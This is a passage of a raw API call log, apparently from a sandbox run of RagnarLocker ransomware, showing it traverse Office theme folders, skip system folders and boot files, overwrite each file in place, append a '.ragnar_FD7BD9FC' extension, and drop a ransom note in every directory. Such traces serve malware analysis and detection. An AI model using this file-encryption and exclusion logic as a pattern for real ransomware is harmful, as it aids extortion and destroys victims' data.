0x10c [0071.401] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=43276) returned 1 [0071.401] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa903, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.401] GetProcessHeap () returned 0x580000 [0071.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.401] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.402] VirtualAlloc (lpAddress=0x0, dwSize=0xa90c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.402] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.402] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.402] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa90c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xa90c, lpOverlapped=0x0) returned 1 [0071.404] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.404] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa90c, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.404] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa90c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xa90c, lpOverlapped=0x0) returned 1 [0071.405] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa90c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.405] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.405] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa90c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.405] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.405] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.405] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.405] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.405] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.405] GetProcessHeap () returned 0x580000 [0071.405] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.405] CloseHandle (hObject=0x10c) returned 1 [0071.406] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" [0071.406] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0071.407] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.407] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.407] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.407] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0071.407] lstrcmpiW (lpString1="CANYON", lpString2=".") returned 1 [0071.407] lstrcmpiW (lpString1="CANYON", lpString2="..") returned 1 [0071.407] lstrcmpiW (lpString1="CANYON", lpString2="Windows") returned -1 [0071.407] lstrcmpiW (lpString1="CANYON", lpString2="Windows.old") returned -1 [0071.407] lstrcmpiW (lpString1="CANYON", lpString2="Tor browser") returned -1 [0071.407] lstrcmpiW (lpString1="CANYON", lpString2="Internet Explorer") returned -1 [0071.407] lstrcmpiW (lpString1="CANYON", lpString2="Google") returned -1 [0071.407] lstrcmpiW (lpString1="CANYON", lpString2="Opera") returned -1 [0071.407] lstrcmpiW (lpString1="CANYON", lpString2="Opera Software") returned -1 [0071.407] lstrcmpiW (lpString1="CANYON", lpString2="Mozilla") returned -1 [0071.407] lstrcmpiW (lpString1="CANYON", lpString2="Mozilla Firefox") returned -1 [0071.408] lstrcmpiW (lpString1="CANYON", lpString2="$Recycle.Bin") returned 1 [0071.408] lstrcmpiW (lpString1="CANYON", lpString2="ProgramData") returned -1 [0071.408] lstrcmpiW (lpString1="CANYON", lpString2="All Users") returned 1 [0071.408] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0071.408] lstrcpyW (in: lpString1=0x1eb638, lpString2="CANYON" | out: lpString1="CANYON") returned="CANYON" [0071.408] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\" [0071.408] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\" [0071.408] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\RGNR_FD7BD9FC.txt" [0071.408] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0071.411] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*" [0071.411] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.411] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.411] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.411] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ccd13a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ccd13a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.411] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0071.411] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ccd13a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ccd13a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.411] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0071.411] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0071.411] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0071.411] lstrcmpiW (lpString1="CANYON.ELM", lpString2=".") returned 1 [0071.411] lstrcmpiW (lpString1="CANYON.ELM", lpString2="..") returned 1 [0071.411] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0071.411] lstrcmpiW (lpString1="CANYON.INF", lpString2=".") returned 1 [0071.411] lstrcmpiW (lpString1="CANYON.INF", lpString2="..") returned 1 [0071.411] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.411] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0071.411] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0071.411] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ccd13a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ccd13a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.411] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0071.411] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0071.411] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.411] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0071.411] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0071.411] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.412] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ccd13a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ccd13a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.412] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ccd13a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ccd13a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.412] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0071.412] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.412] lstrcpyW (in: lpString1=0x1eab6e, lpString2="CANYON.ELM" | out: lpString1="CANYON.ELM") returned="CANYON.ELM" [0071.412] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned=".ELM" [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="autorun.inf") returned 1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="boot.ini") returned 1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="bootfont.bin") returned 1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="bootsect.bak") returned 1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="bootmgr") returned 1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="bootmgr.efi") returned 1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="bootmgfw.efi") returned 1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="desktop.ini") returned -1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="iconcache.db") returned -1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="ntldr") returned -1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="ntuser.dat") returned -1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="ntuser.dat.log") returned -1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="ntuser.ini") returned -1 [0071.412] lstrcmpiW (lpString1="CANYON.ELM", lpString2="thumbs.db") returned -1 [0071.412] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0071.412] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0071.412] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0071.412] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0071.412] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0071.413] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0071.413] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0071.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm")) returned 0x20 [0071.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.414] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=44745) returned 1 [0071.414] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xaec0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.414] GetProcessHeap () returned 0x580000 [0071.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.414] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.457] VirtualAlloc (lpAddress=0x0, dwSize=0xaec9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.457] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.457] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.457] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaec9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xaec9, lpOverlapped=0x0) returned 1 [0071.459] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.459] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaec9, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.459] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaec9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xaec9, lpOverlapped=0x0) returned 1 [0071.459] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaec9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.459] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.460] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xaec9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.460] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.460] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.460] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.460] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.460] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.460] GetProcessHeap () returned 0x580000 [0071.460] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.460] CloseHandle (hObject=0x100) returned 1 [0071.461] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" [0071.462] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.ragnar_FD7BD9FC" [0071.462] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0071.464] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.464] lstrcpyW (in: 